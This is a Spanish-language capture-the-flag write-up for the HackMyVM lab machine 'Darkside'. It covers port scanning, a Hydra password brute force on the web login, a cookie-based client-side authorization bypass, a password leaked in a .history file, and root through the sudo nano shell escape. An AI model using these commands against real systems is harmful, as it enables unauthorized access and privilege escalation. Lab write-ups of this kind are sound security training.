cd ~/blog

~/writeups/hmv/014-darkside.md

014 - Darkside

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Weak Password recuperada mediante Password Guessing contra el formulario webClient-Side Authorization Bypass mediante Cookie ManipulationCredential Exposure en el archivo .historySudo-Allowed Program Abuse mediante shell escape de Nano
hackmyvm.eu/machines/machine.php?vm=DarkSide

~2 min de lectura


Enumeración de servicios

Comenzamos con un escaneo general y específico de puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oN 01-allPorts.txt 192.168.1.20
❯ nmap -sC -sV -p22,80 -oN 02-targeted.txt 192.168.1.20
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-10 14:24 -03
Nmap scan report for 192.168.1.20
Host is up (0.00034s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
|   3072 e0:25:46:8e:b8:bb:ba:69:69:1b:a7:4d:28:34:04:dd (RSA)
|   256 60:12:04:69:5e:c4:a1:42:2d:2b:51:8a:57:fe:a8:8a (ECDSA)
|_  256 84:bb:60:b7:79:5d:09:9c:dd:24:23:a3:f2:65:89:3f (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: The DarkSide
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.76 seconds

Enumeramos directorios con gobuster:

❯ gobuster dir -u http://192.168.1.20 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt
...
/index.php            (Status: 200) [Size: 683]
/backup               (Status: 301) [Size: 313] [--> http://192.168.1.20/backup/]
...

Enumeración web y acceso inicial

En /backup encontramos un vote.txt que revela varios usuarios y uno destacado, kevin:

❯ cat vote.txt
File: vote.txt
rijaba: Yes
xerosec: Yes
sml: No
cromiphi: No
gatogamer: No
chema: Yes
talleyrand: No
d3b0o: Yes

Since the result was a draw, we will let you enter the darkside, or at least temporarily, good luck kevin.

El index tiene un login. Evaluamos una posible Weak Password para el usuario kevin, mediante Intruder de Burp o alternativamente Hydra.

El backup reduce el problema a una cuenta concreta. Esto evita combinar listas grandes de usuarios y contraseñas y convierte la prueba en una validación acotada de la contraseña de kevin:

❯ hydra -l kevin -P ~/Documentos/wordlists/rockyou.txt 192.168.56.107 http-post-form "/:user=kevin&pass=^PASS^:invalid"

Una vez dentro, nos recibe un mensaje con una cadena cifrada:

Hello Kevin
Remember to go to:
kgr6F1pR4VLAZoFnvRSX1t4GAEqbbph6yYs3ZJw1tXjxZyWCC

Con CyberChef (opción Magic) la desciframos a una dirección .onion:

sfqekmgncutjhbypvxda.onion

En ese directorio hay un mensaje y un script que comprueba una cookie:

Which Side Are You On?
<script>
  var sideCookie = document.cookie.match(/(^| )side=([^;]+)/)
  if (sideCookie && sideCookie[2] === 'darkside') {
    window.location.href = 'hwvhysntovtanj.password'
  }
</script>

Manipulamos la cookie con la extensión EditThisCookie, cambiando el valor whiteside por darkside. Al recargar, la página nos muestra unas credenciales con las que iniciamos sesión por SSH y obtenemos la primera flag.

El JavaScript toma la decisión de acceso completamente en el navegador. Es Client-Side Authorization Bypass: como el usuario controla sus cookies y puede modificar el script, side=darkside no constituye una autorización real. El servidor entrega el recurso sin volver a validar el privilegio.

Movimiento lateral y escalada de privilegios

Inspeccionando el home del usuario, un archivo .history contiene lo que parece la contraseña de otro usuario (rijaba). Con esa sesión iniciamos la escalada con sudo -l.

Los historiales pueden conservar argumentos escritos en comandos, incluidas contraseñas utilizadas de forma insegura. Validamos la cadena con su rijaba antes de revisar sus permisos y así distinguimos una credencial vigente de una pista antigua:

rijaba@darkside:~$ sudo -l
Matching Defaults entries for rijaba on darkside:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User rijaba may run the following commands on darkside:
    (root) NOPASSWD: /usr/bin/nano

Podemos ejecutar nano como root. Lo abrimos y, según GTFOBins, usamos Ctrl+T para ejecutar comandos y lanzar una shell.

Nano puede invocar herramientas externas desde su interfaz. Este caso de Sudo-Allowed Program Abuse crea un proceso hijo que hereda el UID efectivo de la instancia privilegiada, por lo que el escape no depende de modificar archivos del sistema:

❯ sudo nano
❯ reset; sh 1>&0 2>&0

Las notas registran que el escape permitió acceder como root y capturar la última bandera, pero no conservaron una salida de identidad de la shell.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados